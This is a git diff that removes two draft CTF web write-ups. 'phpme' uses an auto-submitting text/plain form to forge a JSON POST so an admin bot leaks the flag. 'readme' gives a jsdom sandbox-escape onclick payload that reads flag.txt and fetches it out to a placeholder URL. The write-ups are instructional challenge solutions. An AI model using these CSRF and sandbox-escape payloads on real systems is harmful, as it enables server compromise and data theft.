Compare commits
No commits in common. "522-writeups-readme-php-wip" and "writeups" have entirely different histories.
522-writeu
...
writeups
|
@ -1,94 +0,0 @@
|
||||||
# DRAFT : NOT FINISHED
|
|
||||||
|
|
||||||
# phpme
|
|
||||||
|
|
||||||
by [5225225](https://www.5snb.club) and haskal
|
|
||||||
|
|
||||||
web / 469 pts / 64 solves
|
|
||||||
|
|
||||||
> "This is what normal PHP CTF challenges look like, right?" - A web dev who barely knows PHP
|
|
||||||
|
|
||||||
Going to the URL given shows us this source code
|
|
||||||
|
|
||||||
```php
|
|
||||||
<?php
|
|
||||||
include "secret.php";
|
|
||||||
|
|
||||||
// https://stackoverflow.com/a/6041773
|
|
||||||
function isJSON($string) {
|
|
||||||
json_decode($string);
|
|
||||||
return json_last_error() === JSON_ERROR_NONE;
|
|
||||||
}
|
|
||||||
|
|
||||||
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
|
|
||||||
if(isset($_COOKIE['secret']) && $_COOKIE['secret'] === $secret) {
|
|
||||||
// https://stackoverflow.com/a/7084677
|
|
||||||
$body = file_get_contents('php://input');
|
|
||||||
if(isJSON($body) && is_object(json_decode($body))) {
|
|
||||||
$json = json_decode($body, true);
|
|
||||||
if(isset($json["yep"]) && $json["yep"] === "yep yep yep" && isset($json["url"])) {
|
|
||||||
echo "<script>\n";
|
|
||||||
echo " let url = '" . htmlspecialchars($json["url"]) . "';\n";
|
|
||||||
echo " navigator.sendBeacon(url, '" . htmlspecialchars($flag) . "');\n";
|
|
||||||
echo "</script>\n";
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
echo "nope :)";
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
echo "not json bro";
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
echo "ur not admin!!!";
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
show_source(__FILE__);
|
|
||||||
}
|
|
||||||
?>
|
|
||||||
```
|
|
||||||
|
|
||||||
The challenge is to get the admin bot to visit a URL and make a POST request
|
|
||||||
without user interaction, and then receive the flag back as a POST to the url
|
|
||||||
given.
|
|
||||||
|
|
||||||
The easiest way to do this is with a form. One issue is that form submission is
|
|
||||||
submitting key/value pairs, but we need to submit valid JSON. [System Overlord
|
|
||||||
- Posting JSON with an HTML
|
|
||||||
Form](https://systemoverlord.com/2016/08/24/posting-json-with-an-html-form.html)
|
|
||||||
was useful here.
|
|
||||||
|
|
||||||
The final solution was
|
|
||||||
|
|
||||||
```html
|
|
||||||
<body onload='document.forms[0].submit()'>
|
|
||||||
<form action='https://phpme.be.ax/' method='POST' enctype='text/plain'>
|
|
||||||
<input name='{"yep":"yep yep yep", "url":"<URL>", "trash": "' value='"}'>
|
|
||||||
</form>
|
|
||||||
</body>
|
|
||||||
```
|
|
||||||
|
|
||||||
with `<URL>` replaced with some URL that can receive POST requests.
|
|
||||||
|
|
||||||
I (522) didn't have an easy setup to receive the values of post requests, so
|
|
||||||
I got haskal to set up nginx to log the values of POST data, then look through
|
|
||||||
their logs. There's most definitely cleaner ways to do this, but this worked!
|
|
||||||
|
|
||||||
For future reference, the nginx directive to log POSTed data is
|
|
||||||
|
|
||||||
```nginx
|
|
||||||
log_format postdata $request_body;
|
|
||||||
|
|
||||||
server {
|
|
||||||
location /flagzone {
|
|
||||||
access_log /var/log/nginx/flags.log postdata;
|
|
||||||
echo_read_request_body;
|
|
||||||
# ...
|
|
||||||
}
|
|
||||||
# ...
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
Once you get the data back, you can simply submit the flag and you're done!
|
|
|
@ -1,69 +0,0 @@
|
||||||
# DRAFT : NOT FINISHED
|
|
||||||
|
|
||||||
# readme
|
|
||||||
|
|
||||||
by [5225225](https://www.5snb.club)
|
|
||||||
|
|
||||||
web / 478 pts / 46 solves
|
|
||||||
|
|
||||||
> My new site readme is the ultimate tool for readers everywhere. Remove
|
|
||||||
clutter from any site and also fetch the next chapters with the click of
|
|
||||||
a button.
|
|
||||||
|
|
||||||
provided files: [readme.tar](readme.tar) (Original extension was incorrectly `.tar.xz`)
|
|
||||||
|
|
||||||
## solution
|
|
||||||
|
|
||||||
Here, you were given a website with some server-side code to process a URL
|
|
||||||
given to convert it to reader mode, using [mozilla's readability
|
|
||||||
library](https://github.com/mozilla/readability). I wasn't expecting
|
|
||||||
a vulnerability in there, but `readme` also had the feature that it would try
|
|
||||||
and go to things that looked like they were the next page. I won't paste the
|
|
||||||
full `index.js` from the tar file, but the relevant section is
|
|
||||||
|
|
||||||
```js
|
|
||||||
/**
|
|
||||||
* Helper function to try and retrieve the next section of a site if it exists.
|
|
||||||
*/
|
|
||||||
const loadNextPage = async (dom, socket) => {
|
|
||||||
let targets = [
|
|
||||||
...Array.from(dom.window.document.querySelectorAll("a")),
|
|
||||||
...Array.from(dom.window.document.querySelectorAll("button"))
|
|
||||||
];
|
|
||||||
targets = targets.filter(e => (e.textContent + e.className).toLowerCase().includes("next"));
|
|
||||||
|
|
||||||
if(targets.length == 0) return;
|
|
||||||
let target = targets[targets.length - 1];
|
|
||||||
|
|
||||||
if(target.tagName === "A") {
|
|
||||||
let newDom = await refetch(socket, target.href);
|
|
||||||
return newDom;
|
|
||||||
}
|
|
||||||
else if(target.tagName === "BUTTON") {
|
|
||||||
dom.window.eval(target.getAttribute("onclick"));
|
|
||||||
return dom;
|
|
||||||
}
|
|
||||||
|
|
||||||
return;
|
|
||||||
};
|
|
||||||
```
|
|
||||||
|
|
||||||
This will look for `a` tags as well as `button`s. The ability to load a new
|
|
||||||
page is not all that interesting here, so I skipped looking at the handling for
|
|
||||||
`a` tags. The evaluation of `button`s is interesting, as it uses
|
|
||||||
[jsdom](https://github.com/jsdom/jsdom) to interpret the `onclick` of the given
|
|
||||||
page.
|
|
||||||
|
|
||||||
You can't *directly* access properties exposed, but you can do a sandbox escape
|
|
||||||
using the global constructor given.
|
|
||||||
|
|
||||||
<!--TODO: find wherever I got this from it was a stack overflow article and i cannot find it anymore-->
|
|
||||||
|
|
||||||
```html
|
|
||||||
<p id="hello">Hello, World!</p>
|
|
||||||
<button class="next" onclick="global.constructor.constructor('return process')().mainModule.require('fs').readFile('flag.txt', 'utf8', function(err, fuck) {
|
|
||||||
const mod = global.constructor.constructor('return process')().mainModule;
|
|
||||||
const fetch = mod.require('node-fetch');
|
|
||||||
fetch('<URL>' + fuck)
|
|
||||||
})">Butt</button>
|
|
||||||
```
|
|
Binary file not shown.
Loading…
Reference in New Issue